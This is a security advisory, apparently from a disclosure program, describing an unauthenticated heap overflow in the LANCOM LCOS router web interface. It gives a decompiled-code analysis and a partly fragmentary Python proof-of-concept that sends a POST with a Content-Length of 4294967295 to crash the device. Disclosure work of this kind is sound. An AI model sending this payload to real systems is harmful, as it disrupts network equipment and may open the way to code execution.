Summary

A vulnerability in LANCOM LCOS web interface (usually listening on port 443) allows a remote attacker to trigger a heap overflow in the service listening on this port.

Credit

An independent security researcher working with SSD Secure Disclosure

Vendor Response

We have sent out several emails to info@lancom.de (since June 2024) and none of them were replied to.

Affected Versions

LCOS version 10.80.0665-RU6 and prior (Tested on vRouter)

Technical Analysis

LANCOM LCOS is an RTOS system for routers, APs and other devices.

The system contains web management service, usually open on port 443. There are some endpoints that can be accessed without authorisation. When accessing an endpoint that needs to read data from the request body, the program calls the `get_cgi` function.

```
  while ( content_length(a1) > v7 )
  {
    v8 = 1 - v7 + content_length(a1);    // [1]
    v9 = sub_FFFFFFFF81E4E120(a1);
    v10 = 0x2710;

    if ( v8 <= 0x2710 )
      v10 = v8;

    if ( !read_body(v9, heap_buf, v10) )    // [2]
      break;

    v7 += strlen(heap_buf);

    if ( *heap_buf )
    {
      v11 = heap_buf;
      while ( sub_FFFFFFFF82CAC9A0() )
      {
        if ( !*++v11 )
          goto LABEL_21;
      }
    }
    else
    {
LABEL_21:
      sub_FFFFFFFF81CF01F0(a1, heap_buf);
    }
  }
}
```

At `[1]` the code calls the “content_length” function to get the Content-Length value in the request, which is parsed and converted to “int” when the request header is processed.

Then the code performs an operation, when we pass the Content-Length value of 4294967295 (i.e. `0xffffffff`), the operation will cause `v8` to become `1 + 0xffffffff`, causing `v8` to overflow and become `0x00`. Then, the `read_body` function is called at `[2]` to start reading data, and when the length is 0, the amount of data read is unlimited, causing a heap overflow.

Since the system is an RTOS, it will crash when a heap overflow occurs, resulting in a denial of service attack and potentially execute arbitrary code.

Exploit

```
import sys
import socket
```

```
    payload += b"b" * 0x30000
    return payload


def start(ip, port):
    try:
        data = b"""POST /radius/start.html HTTP/1.1\r
Host: 127.0.0.1\r
Content-Length: 4294967295\r
Content-Type: application/x-www-form-urlencoded\r
User-Agent: Mozilla/5.0\r
Accept-Encoding: gzip, deflate\r
Connection: close\r
\r
"""
        data += get_data()

        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        _socket.connect((ip, int(port)))
        _default_context = ssl._create_unverified_context()
        _default_context.set_ciphers("DEFAULT:@SECLEVEL=1:HIGH:!DH:!aNULL")
        _socket = _default_context.wrap_socket(_socket)
        _socket.sendall(data)
    except Exception as e:
        print(e)


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 %s <ip> <port>" % sys.argv[0])
        exit(1)

    start(sys.argv[1], sys.argv[2])
```

Get in touch

Any questions? Interested in our services?
We'd love to hear from you